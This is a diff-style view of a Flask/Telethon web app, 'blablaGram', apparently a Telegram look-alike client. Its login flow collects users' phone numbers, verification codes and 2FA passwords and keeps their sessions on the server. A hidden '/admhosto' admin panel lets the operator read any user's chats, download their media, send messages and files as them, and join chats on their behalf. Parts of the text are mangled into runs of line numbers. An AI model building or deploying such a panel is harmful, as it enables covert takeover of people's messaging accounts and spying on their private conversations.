}.media-link { display: block; margin-top: 5px; color: var(--primary-blue); text-decoration: none; }.back-button { margin-top: 30px; text-align: center; }.back-button a { display: inline-block; padding: 12px 25px; background: var(--secondary-gray); color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s; font-weight: 600; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }.back-button a:hover { background: var(--secondary-gray-hover); text-decoration: none; transform: translateY(-2px); }.back-button a:active { transform: translateY(0); }.clear-chat-selection { text-align: center; margin-top: 15px; }.clear-chat-selection button { background: var(--secondary-gray); color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; box-shadow: 0 4px 10px rgba(108, 117, 125, 0.2); }.clear-chat-selection button:hover { background: var(--secondary-gray-hover); }.load-more-messages { text-align: center; margin-top: 10px; color: var(--text-medium); font-size: 0.85em; padding-bottom: 10px;}.load-more-messages button { background: var(--primary-blue); color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; width: auto; box-shadow: none;}.load-more-messages button:hover { background: var(--dark-blue); transform: none; box-shadow: none; }@media (max-width: 768px) {body { padding: 15px; }.container { padding: 25px 15px; border-radius: 12px; }h1 { font-size: 2.2em; }.split-panel { flex-direction: column; gap: 20px; }.split-panel > div { padding: 20px; border-radius: 10px; }.user-info { font-size: 1em; padding-bottom: 15px; }input[type="text"], textarea { padding: 10px; font-size: 0.9em; }button { padding: 10px 15px; font-size: 0.9em; margin-top: 10px; }.chat-list { max-height: 300px; }.messages-container { max-height: 400px; }.message-item { max-width: 95%; }.back-button a { width: calc(100% - 30px); }}</style></head>9 unmodified lines<textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea><button onclick="sendMessage({{ user.id }})">Send Text Message</button><input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})"><button onclick="document.getElementById('sendFileInput').click()" class="file-send">Send File</button><h2 style="margin-top: 30px;">Join Chat</h2><input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">9 unmodified lines<p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p></div>{% else %}<p style="padding: 15px; text-align: center; color: var(--text-medium);">No chats found.</p>{% endfor %}</div><div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>9 unmodified lines</div><script>let currentAdminChatId = null;let adminMessagesLoadedOffsetId = 0;let adminHasMoreMessages = true;const adminMessagesPerPage = 50;function clearChatSelection() {document.getElementById('messageViewer').style.display = 'none';document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));currentAdminChatId = null;adminMessagesLoadedOffsetId = 0;adminHasMoreMessages = true;}async function selectChat(userId, chatId, chatTitle) {if (currentAdminChatId === chatId) return;currentAdminChatId = chatId;adminMessagesLoadedOffsetId = 0;adminHasMoreMessages = true;document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');document.getElementById('messageViewer').style.display = 'block';document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;await fetchAdminMessages(userId, chatId, 0, false);}async function fetchAdminMessages(userId, chatId, offsetId, isLoadMore) {const messagesContainer = document.getElementById('messagesContainer');if (!isLoadMore) {messagesContainer.innerHTML = '<p style="text-align: center; color: var(--text-medium);">Loading...</p>';} else {const loadingIndicator = document.createElement('p');loadingIndicator.style.textAlign = 'center';loadingIndicator.style.color = 'var(--text-medium)';loadingIndicator.textContent = 'Loading older messages...';loadingIndicator.id = 'adminLoadingOlderMessages';messagesContainer.prepend(loadingIndicator);}const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages?offset_id=${offsetId}`);const result = await response.json();if (document.getElementById('adminLoadingOlderMessages')) {document.getElementById('adminLoadingOlderMessages').remove();}if (result.success && result.messages) {if (!isLoadMore) {messagesContainer.innerHTML = '';}if (result.messages.length === 0 && !isLoadMore) {messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">No messages found in this chat.</p>`;adminHasMoreMessages = false;return;}const fragment = document.createDocumentFragment();result.messages.reverse().forEach(msg => {const messageItem = document.createElement('div');messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;let senderInfo = !msg.is_sent && msg.sender_name && msg.type !== 'User' ? `<span class="message-sender">${msg.sender_name}</span>` : '';let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';let metaHtml = `<div class="message-meta">${msg.date}</div>`;let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;fragment.prepend(messageItem);});if (result.has_more_messages) {const loadMoreDiv = document.createElement('div');loadMoreDiv.className = 'load-more-messages';loadMoreDiv.innerHTML = `<button onclick="loadOlderAdminMessages(${userId})">Load More</button>`;fragment.prepend(loadMoreDiv);adminHasMoreMessages = true;} else {adminHasMoreMessages = false;}messagesContainer.prepend(fragment);if (!isLoadMore) {messagesContainer.scrollTop = messagesContainer.scrollHeight;}adminMessagesLoadedOffsetId = result.next_offset_id;} else {messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;adminHasMoreMessages = false;}}function loadOlderAdminMessages(userId) {if (!currentAdminChatId || !adminHasMoreMessages) return;document.querySelector('.load-more-messages button').remove();fetchAdminMessages(userId, currentAdminChatId, adminMessagesLoadedOffsetId, true);}async function sendMessage(userId) {const chatId = document.getElementById('sendMessageRecipient').value.trim();const message = document.getElementById('sendMessageContent').value.trim();if (!chatId || !message) { alert('Recipient and message are required.'); return; }const response = await fetch(`/admhosto/send_message/${userId}`, {method: 'POST',headers: { 'Content-Type': 'application/json' },4 unmodified linesif (result.success) {document.getElementById('sendMessageRecipient').value = '';document.getElementById('sendMessageContent').value = '';if (currentAdminChatId == chatId) { // Refresh current chat if it's the targetfetchAdminMessages(userId, currentAdminChatId, 0, false);}}}3 unmodified linesif (fileInput.files.length === 0) return;const file = fileInput.files[0];const chatId = document.getElementById('sendMessageRecipient').value.trim();const caption = document.getElementById('sendMessageContent').value.trim();if (!chatId) { alert('Recipient is required to send a file.'); return; }6 unmodified linesdocument.getElementById('sendMessageContent').value = '';fileInput.value = '';alert('Uploading file...');const response = await fetch(`/admhosto/send_file/${userId}`, {method: 'POST',body: formData});const result = await response.json();alert(result.message);if (result.success && currentAdminChatId == chatId) { // Refresh current chat if it's the targetfetchAdminMessages(userId, currentAdminChatId, 0, false);}}async function joinChat(userId) {const chatIdentifier = document.getElementById('joinChatIdentifier').value.trim();if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }const response = await fetch(`/admhosto/join_chat/${userId}`, {method: 'POST',2 unmodified lines});const result = await response.json();alert(result.message);if (result.success) {location.reload(); // Reload to refresh chat list}}</script></body>14 unmodified linesif not phone:return jsonify({'success': False, 'message': 'Phone number is required.'})phone = phone.strip() # Clean inputif not phone.startswith('+'):return jsonify({'success': False, 'message': 'Phone number must start with country code (e.g., +1234567890).'})session_hash = hashlib.md5(phone.encode()).hexdigest()session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")18 unmodified linessession['user_id'] = user_db_idresult = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}else:try:sent_code = await client.send_code_request(session['current_login_phone'])session['phone_code_hash'] = sent_code.phone_code_hashresult = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}except PhoneNumberInvalidError:result = {'success': False, 'message': 'The phone number is invalid. Please check the format (e.g., +1234567890).'}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}except Exception as e:result = {'success': False, 'message': f'An unexpected error occurred while sending code: {e}'}elif step == 'code':code = data.get('code')phone_code_hash = session.get('phone_code_hash')if not phone_code_hash:result = {'success': False, 'message': 'Session expired or code hash missing, please try again from start.'}await client.disconnect()return resulttry:me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)7 unmodified linesresult = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}except SessionPasswordNeededError:result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}except PhoneCodeInvalidError:result = {'success': False, 'message': 'The verification code is incorrect. Please try again.'}except PhoneCodeExpiredError:result = {'success': False, 'message': 'The verification code has expired. Please request a new code.'}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}except Exception as e:result = {'success': False, 'message': f'An unexpected error occurred during code verification: {e}'}elif step == 'password':password = data.get('password')9 unmodified linesresult = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}except Exception as e:result = {'success': False, 'message': f'An unexpected error occurred during password verification: {e}'}else:result = {'success': False, 'message': 'Invalid step.'}except FloodWaitError as e:result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except Exception as e:result = {'success': False, 'message': f'An unexpected error occurred during connection: {e}'}finally:if client.is_connected():await client.disconnect()49 unmodified linesfull_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()title = full_name if full_name else "Unnamed User"if dialog.entity.username:title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"elif isinstance(dialog.entity, Channel):chat_type = 'Channel'if hasattr(dialog.entity, 'participants_count'):6 unmodified linestitle = title if title else "Unknown Chat"chat_type = "Unknown"initial = (title[0].upper() if title else dialog.name[0].upper()) if dialog.name else '?'chats_info.append({'id': dialog.id,20 unmodified linesuser_id = session.get('user_id')if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401offset_id = request.args.get('offset_id', 0, type=int)limit = 50async def _get_messages_async():client, error = await get_user_client(user_id)if error: return None, error, None, Falsemessages = []next_offset_id = 0has_more_messages = Falsetry:entity = await client.get_entity(peer_id)async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):if len(messages) >= limit: # Fetch one extra to check if there are morehas_more_messages = Truebreakmsg_data = {'message_id': message.id, # Keep message ID for next offset'text': message.text,'date': message.date.strftime("%b %d, %H:%M"),'is_sent': message.out,'sender_name': 'Unknown','type': 'Unknown'}if message.sender:if isinstance(message.sender, User):msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"msg_data['type'] = 'User'elif hasattr(message.sender, 'title'): # Chat/Channelmsg_data['sender_name'] = message.sender.titlemsg_data['type'] = 'Group/Channel'else:msg_data['sender_name'] = str(message.sender.id)8 unmodified lineselif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):file_name = f"photo_{message.media.photo.id}.jpg"download_path = Path(DOWNLOAD_DIR) / file_namefile_info = await client.download_media(message, file=download_path)if file_info:file_path = Path(file_info)msg_data['file_name'] = file_path.name2 unmodified linesexcept Exception as media_e:msg_data['file_name'] = f"Download failed: {media_e}"messages.append(msg_data)if messages:next_offset_id = messages[-1]['message_id']if has_more_messages:messages = messages[:-1] # Remove the extra message if we loaded more than limitelse:next_offset_id = 0 # No more messageselse:next_offset_id = 0has_more_messages = Falseexcept Exception as e:return None, str(e), None, Falsefinally:if client and client.is_connected():await client.disconnect()return messages, None, next_offset_id, has_more_messagesmessages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())if error:return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})@app.route('/api/send_message', methods=['POST'])def api_send_message():13 unmodified linesreturn {'success': True, 'message': 'Message sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}except Exception as e:return {'success': False, 'message': str(e)}finally:25 unmodified linesreturn {'success': True, 'message': 'File sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}except Exception as e:return {'success': False, 'message': str(e)}finally:23 unmodified linesreturn {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except (UserNotParticipantError, ValueError):return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}except RpcCallError as e:return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}except Exception as e:return {'success': False, 'message': f'Error joining chat: {e}'}finally:30 unmodified lineselif isinstance(dialog.entity, User): chat_type = 'User'title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")if isinstance(dialog.entity, User) and dialog.entity.username:title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"chats_info.append({'id': dialog.id,13 unmodified lines@app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')def admhosto_get_chat_messages(user_id, peer_id):offset_id = request.args.get('offset_id', 0, type=int)limit = 50async def _get_messages_async():client, error = await get_user_client(user_id)if error: return None, error, None, Falsemessages = []next_offset_id = 0has_more_messages = Falsetry:entity = await client.get_entity(peer_id)async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):if len(messages) >= limit:has_more_messages = Truebreakmsg_data = {'message_id': message.id,'text': message.text,'date': message.date.strftime("%b %d, %H:%M"),'is_sent': message.out,'sender_name': 'Unknown','type': 'Unknown'}if message.sender:if isinstance(message.sender, User):msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"msg_data['type'] = 'User'elif hasattr(message.sender, 'title'):msg_data['sender_name'] = message.sender.titlemsg_data['type'] = 'Group/Channel'else:msg_data['sender_name'] = str(message.sender.id)8 unmodified lineselif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):file_name = f"photo_{message.media.photo.id}.jpg"download_path = Path(DOWNLOAD_DIR) / file_namefile_info = await client.download_media(message, file=download_path)if file_info:file_path = Path(file_info)msg_data['file_name'] = file_path.name2 unmodified linesexcept Exception as media_e:msg_data['file_name'] = f"Download failed: {media_e}"messages.append(msg_data)if messages:next_offset_id = messages[-1]['message_id']if has_more_messages:messages = messages[:-1]else:next_offset_id = 0else:next_offset_id = 0has_more_messages = Falseexcept Exception as e:return None, str(e), None, Falsefinally:if client and client.is_connected(): await client.disconnect()return messages, None, next_offset_id, has_more_messagesmessages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})@app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])def admhosto_send_message(user_id):9 unmodified linesreturn {'success': True, 'message': 'Message sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}except Exception as e:return {'success': False, 'message': str(e)}finally:21 unmodified linesreturn {'success': True, 'message': 'File sent.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}except Exception as e:return {'success': False, 'message': str(e)}finally:17 unmodified linesreturn {'success': True, 'message': 'Successfully joined.'}except FloodWaitError as e:return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}except RpcCallError as e:return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}except Exception as e:return {'success': False, 'message': f'Error joining: {e}'}finally:10 unmodified lines11121314151647 unmodified lines6465666768697071727374757677787980818283848521 unmodified lines10710810911011111211311411511611711816 unmodified lines1351361371381391401411421431441451461471481491509 unmodified lines1601611621631641651664 unmodified lines17117217317417517617726 unmodified lines2042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822831 unmodified line2852862872882892902914 unmodified lines29629729829930030130230330430530630730830931017 unmodified lines32832933033133233333433533633733833934034134227 unmodified lines3703713723733743753763773783793803813823833843853863873883897 unmodified lines39739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249319 unmodified lines5135145155165175185195205215225235245255265271 unmodified line52953053153253353453553653753812 unmodified lines55155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058139 unmodified lines62162262362462562662762862963063163263363463563663763863964064164264364464564664764864934 unmodified lines6846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427439 unmodified lines7537547557567577587599 unmodified lines7697707717727737747759 unmodified lines7857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099104 unmodified lines9159169179189199209219223 unmodified lines9269279289299309319329336 unmodified lines9409419429439449459469479489499509519529539549559569579589599602 unmodified lines96396496596696796896914 unmodified lines98498598698798898918 unmodified lines100810091010101110121013101410151016101710181019102010217 unmodified lines10291030103110321033103410351036103710389 unmodified lines10481049105010511052105310541055105610571058105910601061106249 unmodified lines11121113111411151116111711186 unmodified lines112511261127112811291130113120 unmodified lines115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911808 unmodified lines11891190119111921193119411952 unmodified lines11981199120012011202120312041205120612071208120912101211121212131214121513 unmodified lines12291230123112321233123425 unmodified lines12601261126212631264126523 unmodified lines12891290129112921293129430 unmodified lines13251326132713281329133013 unmodified lines13441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013718 unmodified lines13801381138213831384138513862 unmodified lines1389139013911392139313941395139613971398139914001401140214039 unmodified lines14131414141514161417141821 unmodified lines14401441144214431444144517 unmodified lines14631464146514661467146810 unmodified linesfrom telethon.tl.functions.messages import ImportChatInviteRequestfrom telethon.tl.functions.channels import JoinChannelRequestfrom telethon.tl.types import User, Chat, Channelapp = Flask(__name__)47 unmodified lines<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>blablaGram - Login</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;700&display=swap" rel="stylesheet"><style>body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: linear-gradient(135deg, #E9EBEE 0%, #D5DBE0 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }.container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -1px; text-shadow: 1px 1px 2px rgba(0,0,0,0.05); }input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 15px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #FFFFFF; }button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }.message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.6; text-align: left; }.message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }.message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }.message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }.hidden { display: none; }.warning { background: #FFF3CD; color: #856404; border: 1px solid #FFEBAA; }</style></head><body>21 unmodified lines}async function startLogin() {phone = document.getElementById('phone').value;if (!phone) {showMessage('Please enter your phone number.', 'error');return;}showMessage('Sending code... Please check your Telegram app for a login code or notification.', 'info');document.getElementById('code').classList.add('hidden');document.getElementById('password').classList.add('hidden');document.getElementById('submitCode').classList.add('hidden');16 unmodified linessetTimeout(() => window.location.href = '/app', 1500);}} else {let errorMessage = 'Login failed: ' + result.message;if (result.message.includes('FloodWaitError') || result.message.includes('phone_number_invalid')) {errorMessage += '<br>This might be a temporary Telegram restriction or an invalid phone number. Please wait and try again, or ensure your phone number is correct and active on Telegram.';}showMessage(errorMessage, 'error');}}async function submitCode() {const code = document.getElementById('code').value;if (!code) {showMessage('Please enter the verification code.', 'error');return;9 unmodified linesshowMessage(result.message + ' Redirecting to app...', 'success');setTimeout(() => window.location.href = '/app', 1500);} else if (result.password_required) {showMessage(result.message + ' Enter your 2FA cloud password.', 'warning');document.getElementById('password').classList.remove('hidden');document.getElementById('submitPassword').classList.remove('hidden');document.getElementById('submitCode').classList.add('hidden');4 unmodified lines}async function submitPassword() {const password = document.getElementById('password').value;if (!password) {showMessage('Please enter your cloud password.', 'error');return;26 unmodified lines<title>blablaGram</title><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet"><style>body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }.app-layout { display: flex; height: 100vh; width: 100%; }/* Sidebar Styles */.sidebar { flex: 0 0 320px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 1000; }.sidebar-header { padding: 15px 20px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }.sidebar-header h2 { margin: 0; font-size: 1.5em; color: #2AABEE; font-weight: 700; }.sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 6px; transition: background-color 0.2s; }.sidebar-header .actions button:hover { background-color: #E6F3FC; }.chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }.chat-list::-webkit-scrollbar { width: 8px; background-color: #F8F8F8; }.chat-list::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }.chat-item { display: flex; align-items: center; padding: 12px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }.chat-item:hover { background-color: #F8F8F8; }.chat-item.active { background-color: #E6F3FC; color: #2AABEE; }.avatar-placeholder { width: 48px; height: 48px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.6em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }.chat-info { flex: 1; overflow: hidden; }.chat-info h3 { margin: 0 0 4px; font-size: 1.05em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }.chat-item.active .chat-info h3 { color: #2AABEE; }.chat-info p { margin: 0; font-size: 0.85em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }.join-chat-section { padding: 15px 20px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }.join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid #E0E0E0; border-radius: 8px; font-size: 0.95em; }.join-chat-section button { background: #28A745; color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }.join-chat-section button:hover { background: #218838; }/* Chat Panel Styles */.chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }.chat-panel-header { background: #FFFFFF; padding: 15px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; }.chat-panel-header h2 { margin: 0; font-size: 1.25em; font-weight: 600; color: #1C1C1C; }.chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 9px 15px; border-radius: 6px; cursor: pointer; font-size: 0.9em; font-weight: 500; transition: background 0.2s, transform 0.2s; }.chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }.chat-panel-header .header-actions button:active { transform: translateY(0); }.chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }.chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }.messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }.messages-container::-webkit-scrollbar { width: 8px; background-color: #F0F2F5; }.messages-container::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #BBB; }.message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }.message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }.message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 4px;}.message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }.message-text { color: #111; }.message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }.media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }.media-link:hover { text-decoration: underline; }.message-loading { text-align: center; color: #777; margin: 10px 0; font-size: 0.9em; }.chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 10px; }.chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 20px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }.chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }.chat-input-area button { background: #2AABEE; color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }.chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }.chat-input-area button:active { transform: translateY(0); }.no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }/* Mobile Adaptation */.sidebar-toggle-button.mobile-only { display: none; }.sidebar-backdrop { display: none; position: 